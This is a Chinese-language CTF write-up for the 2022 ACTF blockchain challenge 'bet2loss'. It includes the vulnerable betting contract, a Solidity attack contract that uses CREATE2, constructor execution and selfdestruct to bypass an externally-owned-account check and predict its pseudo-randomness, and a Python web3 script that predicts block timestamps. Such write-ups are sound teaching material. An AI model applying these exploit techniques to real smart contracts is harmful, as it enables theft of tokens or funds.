区块链学习笔记之2022ACTF—bet2loss

admin 2024年8月24日23:28:16评论23 views字数 6147阅读20分29秒阅读模式

  是这一届的XCTF收官之战,不过只浅浅的参与了一下,做了一道blockchain的题目——bet2loss。听说还有web版本的做法,但还没见到是怎么做的,web这一块也不太了解。这篇文章主要还是讨论两种智能合约版本的做法。

题目合约

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;contract BetToken {    /* owner */    address owner;    /* token related */    mapping(address => uint256) public balances;    /* random related */    uint256 nonce;    uint256 cost;    uint256 lasttime;    mapping(address => bool) public airdroprecord;    mapping(address => uint256) public logger;    constructor() {owner = msg.sender;        balances[msg.sender] = 100000;        nonce = 0;        cost = 10;        lasttime = block.timestamp;    }    function seal(address to, uint256 amount) public {require(msg.sender == owner, "you are not owner");        balances[to] += amount;    }    function checkWin(address candidate) public {require(msg.sender == owner, "you are not owner");        require(candidate != owner, "you are cheating");        require(balances[candidate] > 2000, "you still not win");        balances[owner] += balances[candidate];        balances[candidate] = 0;    }    function transferTo(address to, uint256 amount) public pure {        require(amount == 0, "this function is not impelmented yet");    }    function airdrop() public {        require(            airdroprecord[msg.sender] == false,            "you already got your airdop"        );        airdroprecord[msg.sender] = true;        balances[msg.sender] += 30;    }    function bet(uint256 value, uint256 mod) public {        address _addr = msg.sender;        // make sure pseudo-random is strong        require(lasttime != block.timestamp);        require(mod >= 2 && mod <= 12);        require(logger[msg.sender] <= 20);        logger[msg.sender] += 1;        require(balances[msg.sender] >= cost);        // watchout, the sender need to approve such first        balances[msg.sender] -= cost;        // limit        value = value % mod;        // not contract        uint32 size;        assembly {            size := extcodesize(_addr)        }        require(size == 0);        // rnd gen        uint256 rand = uint256(            keccak256(                abi.encodePacked(                    nonce,                    block.timestamp,                    block.difficulty,                    msg.sender                )            )        ) % mod;        nonce += 1;        lasttime = block.timestamp;        // for one, max to win 12 * 12 - 10 == 134        // if 20 times all right, will win 2680        if (value == rand) {            balances[msg.sender] += cost * mod;        }    }}

题目分析

  题目合约并不复杂,获取flag的条件只需要 require(balances[candidate] > 2000, "you still not win"); 有大于两千个代币即可。而获取代币有两个途径

  1. 通过空投 airdrop() 可以获取30个代币,但是一个账户只能调用一次。
  2. 通过猜数 bet ,一次花费10个代币,可以赢得2倍到12倍的本金,这取决于mod。但bet函数有三个限制:一个账户最多只能调用二十次;每个账户在每一个区块只能调用bet一次;只有外部账户可以调用bet。(因此一个账户最多可以通过bet获取到 (12 * 10 - 10 ) * 20 = 2200 个代币。

  显然,题目的流程就是我们通过空投得到本金,然后进行猜数。20次猜数,一次最多赚110,由于30块的空投本金,因此,想要最终获取2000+的代币,我们至少需要猜对 18 次 mod 为 12 的bet,且只能猜错一次。(猜错两次就只剩1990了)

  而需要猜的数字

12345678910
uint256 rand = uint256(    keccak256(        abi.encodePacked(            nonce,            block.timestamp,            block.difficulty,            msg.sender        )    )) % mod;

  nonce由题目合约记录,timestamp是区块的时间戳,difficulty是区块的复杂度,msg.sender是交易发起者,这些在区块打包的时候都是确定的,因此并没有什么难度。唯一需要绕过的点在于,bet要求交易发起者必须是外部账户

解题思路

解题思路一:

  这里我们需要用到两个工具:

  1. constructor函数:在EVM执行构造函数阶段,该合约地址尚不存在可执行代码。

  2. creat2函数:其可以在同一个地址反复部署合约(不过需要该地址前一个合约自毁)

  于是一个很自然的想法,利用create2函数在同一个地址反复部署攻击合约,而攻击合约将所有攻击操作写在constructor函数内,且constructor函数以自毁函数selfdestruct收尾。

1234567891011121314151617181920212223242526272829303132333435363738394041
pragma solidity ^0.8.0;import "./bet.sol";contract pwn {    constructor(address target, uint256 mod) public {        main m = main(msg.sender);        uint256 nonce = m.nonce();        BetToken t = BetToken(target);       if (t.balances(address(this)) == 0) {            t.airdrop();        }        uint256 value = uint256(            keccak256(                abi.encodePacked(                    nonce,                    block.timestamp,                   block.difficulty,                   address(this)               )            )        ) % mod;        t.bet(value, mod);        selfdestruct(payable(msg.sender));    }}contract main {    address public a;    bytes32 public s = hex"42";    uint256 public nonce;    constructor(uint256 _nonce) public {        nonce = _nonce;    }    function hack(address target, uint256 mod) public {        a = address(new pwn{salt: s}(target, mod));        nonce++;    }}

  首先获取题目合约的nonce,然后部署main,并不断调用hack函数即可。

区块链学习笔记之2022ACTF—bet2loss

  实际题目部署在私链上,这里我们需要用一下python 的web3模块,具体操作可以参考这篇文章

  PS:在比赛的时候由于create2用错了,导致其实这条路并没有走通,一度以为自己想错了,是赛后看了这位师傅的wp才悟的。

解题思路二:

  上面的方法我们借用了constructor函数和create2函数的特性绕过了对合约账户的检测,为什么我们这里想要使用攻击合约去执行呢,主要是因为随机数的预测需要使用到几个在区块打包时使用的数据,虽然这些都是确认的,但是我们只能在区块打包后才获取到,而只有合约才能在区块打包时就获取到数据,比如时间戳。

  但是,这里我们是否可以预测一下呢?

  随机数涉及到的总共四个参数:其中nonce我们可以读合约的slot获取,msg.sender就是我们自己,复杂度经过测试发现一直是 2,而区块时间戳,由于题目坏境的限制,我们似乎无法读取,但是注意到题目的bet函数有记录时间戳为lasttime进slot的操作,于是这里我们不断地调用bet函数,然后读取合约存储的时间戳,发现,可能由于是私链的环境配置原因,出块时间是固定的,每一个新的区块的timestamp会加30,是线性的。于是我们可以获取一个区块作为起点,然后后续的区块根据区块高度就能够计算出timestamp了。具体计算规则 newtime = starttime + (newblock - startblock) * 30。不过实际操作的时候可能由于延迟还是啥的会有一丢丢偏差,可以在后面加一个offset。具体的offset可以在第一次猜的时候确定,然后后面就可以猜对19次了。

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172
from Crypto.Util.number import *from web3 import Web3,HTTPProviderfrom eth_abi.packed import encode_abi_packedfrom eth_abi import encode_abiimport timedef deploy(rawTx):    signedTx = web3.eth.account.signTransaction(rawTx, private_key=acct.privateKey)    hashTx = web3.eth.sendRawTransaction(signedTx.rawTransaction).hex()    receipt = web3.eth.waitForTransactionReceipt(hashTx)    return receiptweb3=Web3(HTTPProvider("http://123.60.36.208:8545"))acct= web3.eth.account.from_key('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx')target="0x21ac0df70A628cdB042Dde6f4Eb6Cf49bDE00Ff7"airdrop = {    'from': acct.address,    'to': target,    'nonce': web3.eth.getTransactionCount(acct.address),    'gasPrice': web3.toWei(1, 'gwei'),    'gas': 555555,    'value': web3.toWei(0, 'ether'),    'data': "0x3884d635",    "chainId": 6666}print("airdrop")info=deploy(airdrop)if info['status']==1:    print("airdrop done")else:    print("sth error")FLAG=Trueoffset=0for i in range(0,20):    print(i)    nonce=bytes_to_long(web3.eth.getStorageAt(target,2))    diffcult=2    now_block=web3.eth.block_number    start_block=1485    start_time=1656158960    pre_time=(now_block-start_block)*30+start_time+offset       #always 1230 due to init value    guess_num=bytes_to_long(Web3.keccak(encode_abi_packed(['uint256','uint','uint','address'],[nonce,pre_time,diffcult,acct.address])))%12    data_bet='0x6ffcc719'+hex(guess_num)[2:].rjust(64,'0')+'c'.rjust(64,'0')    bet = {        'from': acct.address,        'nonce': web3.eth.getTransactionCount(acct.address),        'to': target,        'gasPrice': web3.toWei(1, 'gwei'),        'gas': 555555,        'value': web3.toWei(0, 'ether'),        'data': data_bet,        "chainId": 6666    }    info=deploy(bet)    if info['status']==1:        print("bet done",i)    else:        print("sth error")    nowtime=bytes_to_long(web3.eth.getStorageAt(target,4))    if FLAG:        offset = nowtime-pre_time        FLAG = False    print(web3.eth.block_number,pre_time,nowtime,nowtime-pre_time)    time.sleep(30)

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可联系QQ 643713081,也可以邮件至 [email protected] - source:Van1sh的小屋

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月24日23:28:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   区块链学习笔记之2022ACTF—bet2losshttp://cn-sec.com/archives/3093639.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息